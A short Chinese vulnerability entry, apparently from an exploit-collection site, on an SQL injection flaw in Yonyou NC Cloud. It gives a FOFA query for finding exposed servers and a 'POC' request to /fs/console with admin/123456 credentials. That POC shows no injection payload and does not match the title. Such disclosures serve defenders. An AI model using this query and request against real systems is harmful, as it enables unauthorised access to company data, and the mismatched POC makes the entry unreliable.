# 用友NC Cloud Sql注入漏洞
## 漏洞描述
攻击者构造恶意SQL语句未授权获取后台敏感数据。
## 漏洞影响
> NC Cloud
## FOFA
> “NCCloud”
## POC
“`
/fs/console?username=admin&password=123456
“`
![1](/static/qingy/用友NC_Cloud_Sql注入漏洞/img/1.png)
![2](/static/qingy/用友NC_Cloud_Sql注入漏洞/img/2.png)
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
请登录后查看评论内容